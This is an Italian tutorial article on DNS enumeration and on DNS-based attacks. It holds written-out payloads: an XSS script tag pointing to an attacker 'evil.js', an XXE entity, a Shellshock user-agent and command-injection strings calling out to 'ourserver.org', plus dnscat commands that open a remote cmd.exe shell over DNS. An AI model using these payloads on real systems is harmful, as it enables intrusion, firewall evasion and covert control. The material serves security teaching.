Il Domain Name System (DNS) è uno degli strumenti che più spesso, senza rendercene conto, utilizziamo durante la navigazione web. Esso è il sistema che si occupa di trasformare un indirizzo web (o hostname – nel formato www.nomesito.it) in un indirizzo IP (nel formato numerico nnn.nnn.nnn.nnn
). Come vedremo nel seguito, i DNS hanno però tantissime altre funzioni, e lo scopo di questo articolo è di dimostrare com'è possibile effettuare enumerazione e discovery, cioè come leggere gli indirizzi IP associati ad un dominio, e scoprire i sotto-domini ad esso connessi. Ci sarà poi anche spazio per trattare i nuovi vettori d'attacco che utilizzano il DNS. L'articolo prevede l'uso di alcuni tool, generalmente presenti sulla maggior parte delle distribuzioni Unix.
Tipi di DNS
Prima di iniziare con la pratica è necessario aver chiaro quali principali tipi di record DNS esistono, ed il loro campo di utilizzo:
Tipo di record DNS | Descrizione |
---|---|
A | Trasforma un nome host in un indirizzo IPv4 |
AAAA | Trasforma un nome host in un indirizzo IPv6 |
CNAME | Trasforma un nome host in un altro nome host |
MX | Fornisce l'indirizzo del Mail Exchange (utilizzato per l'inoltro di posta elettronica |
NS | Fornisce l'indirizzo del Name Server (utilizzato per la gestione dei record DNS) |
TXT | Fornisce una stringa |
SRV | Service Record, usato per specificare un tipo di servizio; può contenere hostname e porta su cui il servizio lavora. Spesso è usato per centralini VoIP |
PTR | Pointer Record, usato per ricavare un hostname dato un indirizzo IP |
Sulla pagina di Wikipedia è disponibile la lista completa di tutti i tipi di record DNS.
Enumerazione e discovery
Il tool che ci consente di effettuare richieste di tipo DNS è dig. Vediamo come poter richiamare il tipo DNS A sul dominio html.it, utilizzando il server DNS di Google (8.8.8.8):
dig @8.8.8.8 -t A html.it
Qualora volessimo ottenere tutti i tipi di record DNS senza specificarli uno ad uno useremo:
dig @8.8.8.8 -t ANY html.it
Le informazioni ricavate da dig possono però risultare troppo semplici e abbastanza incomplete. Possiamo acquisire altre informazioni utilizzando dnsdict6:
dnsdict6 -4 -d -S html.it
Nel comando precendente:
- il parametro -4 specifica di effettuare l'enumerazione anche sul protocollo IPv4;
- il parametro -d mostra informazioni ed indirizzamenti IPv6;
- il parametro -S infine richiede di effettuare enumerazione sul tipo DNS SRV.
dnsdict6
contiene per default un dizionario di circa 1500 parole che viene utilizzato (come si vede dall’output precedente) per scovare domini di terzo livello (chiamati anche sotto-domini). È però possibile specificare un dizionario esterno appendendolo alla fine
del comando:
dnsdict6 -4 -d -S html.it /home/simone/dizionari/dns_presonal.txt
Ora che abbiamo ottenuto una lista più o meno completa di sotto-domini possiamo passare all'uso di dnsenum, un comando che oltre a provare
con un dizionario di parole, effettua direttamente una ricerca su Google per fornire risultati più accurati:
dnsenum --dnsserver 8.8.8.8 --enum html.it
Nel comando precedente:
- il parametro --dnsserver specifica su quale server andare ad effettuare la richiesta
- il parametro --enum avvia vari tipi di enumerazione, fra cui dizionario, ricerca Google e risultati di WhoIs:
È inoltre possibile ottenere una lista di sotto-domini tramite Google (escludendo i risultati che contengono "www"), utilizzando la stringa come in
esempio:
site:html.it -www
A questo punto abbiamo ancora più informazioni sul dominio sotto analisi. Possiamo raccogliere, per completezza, anche le chiavi DNS utilizzate per mettere
in sicurezza il dominio da attacchi Man-in-the-Middle o trasferimenti fraudolenti. Questo sistema di protezione si chiama DNSSEC.
dnsrecon -d verisigninc.com
Il parametro -d consente di specificare il dominio su cui effettuare enumerazione.
Ora abbiamo abbastanza informazioni per effettuare discovery: si tratta del processo di ricerca, fra gli indirizzi IP “vicini”, di altri
nomi DNS che potrebbero riferirsi al nostro target.
dnsrecon -r 151.1.244.200/24
Il parametro -r effettua un Reverse Lookup. Il range va specificato con una netmask, e la richiesta che viene inviata al server
DNS è di tipo PTR.
Per fare reversing sugli indirizzi IPv6 possiamo utilizzare dnsrevenum6:
dnsrevenum6 8.8.8.8 2001:41d0:1:ad64:1::/48
Nel precedente comando, il primo parametro è l'indirizzo del server DNS (in questo caso Google) ed il secondo parametro è il range (specificato con netmask
/48) dell'indirizzo IPv6.
Tutte le informazioni raccolte provengono da servizi pubblici e sono quindi consultabili da chiunque. Non abbiamo commesso nessuna attività illegale durante l'enumerazione ed il discovery.
Il percorso di una richiesta DNS
L'immagine predenete è stata selezionata dalla presentazione tenuta da Ron Bowes (dipendente Google) durante il DerbyCon 2014. Spiega esattamente il
percorso di una richiesta DNS:
- il primo dispositivo che interroghiamo è il nostro Router;
- nel caso in cui non sia già stato richiamato esso, passerà la richiesta al server DNS configurato all'interno del router;
-
se neanche Google è in grado di risolvere l'indirizzo, chiederà ai root-servers (server responsabili per ognuno dei domini di primo
livello); -
se anche questi ultimi non trovano una risposta, gireranno la richiesta all'authoritative server, che è un server DNS sotto il nostro
controllo.
In questo modo potremo rispondere all'originale richiesta DNS con un valore scelto da noi. Dobbiamo tener presente che il servizio DNS è lasciato aperto
sulla maggior parte dei server; se così non fosse non ci sarebbe possibilità per lo stesso server di comunicare con il “mondo” esterno. Questo ci consente
di avere una via di comunicazione privilegiata con il server, riuscendo a bypassare eventuali firewall o Intrusion Prevention System (IPS).
Nuove metodologie d'attacco utilizzando i DNS: verifica della vulnerabilità
In un assessment in blackbox è difficile capire come un dato venga effettivamente trattato all'interno del sistema. Attraverso l'uso dei DNS siamo in grado
di tracciare o perlomeno capire se il nostro dato viene acceduto da terzi.
Cross-Site Scripting (XSS)
Tra il 2010 ed il 2012 sono stati effettuati dei test sui tre maggiori portali di WhoIs, e sorprendentemente tutti erano vulnerabili ad un attacco di tipo
XSS. L'attaccante aveva semplicemente creato un record DNS di tipo TXT con un codice simile a questo:
[code]<script src="http://vostrosito/evil.js"></script>[/code]
Utilizzare altri tipo di DNS come CNAME, MX o PTR sarebbe stato più difficile, in quanto i tipi di record precedenti non
permettono l'uso di spazi o doppi apici. Ma basta conoscere la sintassi di HTML e JavaScript per creare un proof of concept senza doppi apici o spazi come
in esempio:
<script/src='http://vostrosito.evil.js'></script>
L'attaccante riuscì ad iniettare all'interno della pagina (e permanentemente) un codice potenzialmente malevolo per qualsiasi visitatore.
SQL Injection
Esistono molte funzioni in PHP o ASP che consentono di prelevare il valore di un record DNS. Quel dato potrebbe essere successivamente utilizzato in una
query SQL senza essere filtrato. Guardiamo come poter sfruttare questo tipo di vulnerabilità prendendo in esempio un livello, risolto da Ron Bowes, di un
CTF (Capture the Flag) scritto in PHP:
L'attaccante ha la possibilità di modificare la query SQL, ottenendo la password di un altro utente, utilizzando un record DNS di tipo TXT come in
esempio:
Questo è solo un esempio tratto da un gioco dove l'utente conosce il codice sorgente dell'applicazione. In una caso reale è difficile “azzeccare” la giusta
query SQL se non si conosce a priori com'è stata scritta.
XML External Entity (XXE)
Possiamo verificare se un sistema è vulnerabile ad XXE inserendo, all'interno del file o della query XML, un codice come il seguente:
[code]
]<!ENTITY xxe SYSTEM "http://notexistingname.ourserver.org" >]>
<user>&xxe;</user>
[/code]
Se riceveremo sul nostro server una richiesta di risoluzione DNS per “notexistingname” sapremo che il sistema è vulnerabile all'iniezione di entity
esterne. A quel punto potremmo procedere con il prelevare file locali (come ad esempio /etc/passwd).
Shellshock
Uno dei metodi meno invasivi per verificare la presenza del recente bug di Bash (Shellshock, appunto) è utilizzare la risoluzione dei DNS attraverso l'uso
di nslookup (comando riconosciuto su Windows, Linux e Mac). Si può impostare uno user-agent come il seguente ed attendere che arrivino
richieste:
[code]() { test;};nslookup shellshocked.ourserver.org[/code]
Se riceveremo sul nostro server una richiesta di risoluzione DNS per “shellshocked” sapremo che la web application utilizza script con una versione
vulnerabile di Bash. Potremo quindi eseguire qualsiasi altro comando invece di un semplice nslookup.
Remote command execution (RCE)
Come nell'esempio di Shellshock possiamo lanciare nslookup per verificare la vulnerabilità di tipo RCE. Per farlo ci sono vari “trucchi” come in
esempio:
[code]
;nslookup shell.ourserver.org
`nslookup shell.ourserver.org`
|nslookup shell.ourserver.org
$(nslookup shell.ourserver.org)
[/code]
Come negli esempi precedenti, quando riceveremo una richiesta di risoluzione per “shell” avremo verificato la vulnerabilità e potremo procedere con
l'attacco.
Nuove metodologie d'attacco utilizzando i DNS: attacco post-verifica
Dopo aver verificato che uno degli attacchi citati in precedenza ha funzionato, possiamo continuare ad utilizzare il servizio DNS per mantenere un profilo basso
senza creare troppo “rumore” sulla rete bersaglio. Avremo bisogno di un tool chiamato dnscat, presente all'interno della suite nbtool, ed ottenibile tramite GitHub.
Una volta compilato possiamo procedere con l'avvio del server su una macchina esposta su internet:
[code]dnscat --listen -p 53[/code]
Nel comando precedente:
-
--listen
avvia dnscat in modalità server (in ascolto); -
-p
identifica la porta su cui fare “listening”. La 53 è, di default, quella del servizio DNS.
Ora possiamo avviare, sulla macchina bersaglio, dnscat in modalità client, che ci ritornerà la shell dei comandi di Windows (cmd.exe):
[code]dnscat --dns virtualmachine1 -e cmd.exe[/code]
Qui:
-
--dns
identifica l'ip o l'hostname della macchina su cui è avviato dnscat in modalità server -
--exec
avvia il prompt dei comandi di Windows
E questa invece è la visuale dal server:
Tutto quello che viene scritto e letto da dnscat passa attraverso query DNS, come possiamo vedere sfruttando Wireshark:
Conclusioni
Abbiamo visto come usare (e abusare) di un servizio che è sempre esistito sin dai primi anni '80, e su cui l’intera Internet si basa. L'articolo dimostra
come sia possibile ottenere informazioni facendo delle query di tipo DNS e sfruttare un canale di comunicazione difficilmente filtrato.
Molte delle metodologie di riconoscimento ed attacco presentate in questo articolo sono tratte dalla presentazione di Ron Bowes, disponibile online.
Il video seguente, infine, è una dimostrazione dell'attacco XSS ai maggiori siti di WhoIs: